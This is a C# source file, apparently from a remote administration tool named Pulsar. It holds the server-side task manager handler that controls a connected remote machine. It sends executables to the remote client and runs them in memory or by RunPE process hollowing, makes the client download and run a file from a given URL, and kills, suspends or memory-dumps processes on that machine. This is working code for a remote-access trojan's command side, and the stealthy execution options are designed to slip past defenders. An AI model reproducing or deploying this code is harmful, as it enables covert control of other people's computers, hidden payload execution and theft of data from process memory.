Files

173 lines
5.6 KiB
C#
Raw Permalink Normal View History

2026-08-27 10:57:58 -06:00
using System;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for interacting with remote tasks.
/// </summary>
public class TaskManagerHandler : MessageProcessorBase<Process[]>, IDisposable
{
public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result);
public event ProcessActionPerformedEventHandler ProcessActionPerformed;
public delegate void OnResponseReceivedEventHandler(object sender, DoProcessDumpResponse response);
public event OnResponseReceivedEventHandler OnResponseReceived;
private readonly Client _client;
public GetProcessesResponse LastProcessesResponse { get; private set; }
public TaskManagerHandler(Client client) : base(true)
{
_client = client ?? throw new ArgumentNullException(nameof(client));
}
public override bool CanExecute(IMessage message) => message is DoProcessResponse
|| message is GetProcessesResponse
|| message is DoProcessDumpResponse;
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoProcessResponse resp: Execute(sender, resp); break;
case GetProcessesResponse resp: Execute(sender, resp); break;
case DoProcessDumpResponse resp: Execute(sender, resp); break;
}
}
private void Execute(ISender client, DoProcessResponse message)
{
SynchronizationContext.Post(_ => ProcessActionPerformed?.Invoke(this, message.Action, message.Result), null);
}
private void Execute(ISender client, GetProcessesResponse message)
{
LastProcessesResponse = message;
OnReport(message.Processes);
}
private void Execute(ISender client, DoProcessDumpResponse message)
{
OnResponseReceived?.Invoke(this, message);
}
#region Remote Process Operations
public void StartProcess(string remotePath, bool isUpdate = false, bool executeInMemory = false, bool useRunPE = false, string runPETarget = "a", string runPECustomPath = null)
{
if (!File.Exists(remotePath))
{
MessageBox.Show($"File not found: {remotePath}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
byte[] fileBytes = File.ReadAllBytes(remotePath);
string ext = Path.GetExtension(remotePath);
if ((executeInMemory || useRunPE) && !string.Equals(ext, ".exe", StringComparison.OrdinalIgnoreCase))
{
MessageBox.Show("Only .exe files are allowed for RunPE or reflection execution.", "Invalid File Type",
MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
_client.Send(new DoProcessStart
{
FileBytes = fileBytes,
IsUpdate = isUpdate,
ExecuteInMemoryDotNet = executeInMemory,
UseRunPE = useRunPE,
RunPETarget = runPETarget,
RunPECustomPath = runPECustomPath,
FileExtension = ext
});
}
public void StartProcessFromWeb(string url, bool isUpdate = false, bool executeInMemory = false, bool _useRunPE = false)
{
if (string.IsNullOrWhiteSpace(url))
{
MessageBox.Show("URL cannot be empty.", "Invalid URL", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
_client.Send(new DoProcessStart
{
DownloadUrl = url,
IsUpdate = isUpdate,
ExecuteInMemoryDotNet = false,
UseRunPE = false
});
}
public void SetTopMost(int pid, bool enable = true)
{
_client.Send(new DoSetTopMost { Pid = pid, Enable = enable });
}
public void SetWindowState(int pid, bool minimize)
{
_client.Send(new DoSetWindowState
{
Pid = pid,
Minimize = minimize
});
}
public void RefreshProcesses()
{
_client.Send(new GetProcesses());
}
public void EndProcess(int pid)
{
_client.Send(new DoProcessEnd { Pid = pid });
}
public void DumpProcess(int pid)
{
_client.Send(new DoProcessDump { Pid = pid });
}
public void SuspendProcess(int pid, bool suspend)
{
var message = new DoSuspendProcess { Pid = pid, Suspend = suspend };
_client.Send(message);
}
#endregion
#region IDisposable
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!disposing) return;
ProcessActionPerformed = null;
OnResponseReceived = null;
LastProcessesResponse = null;
}
#endregion
}
}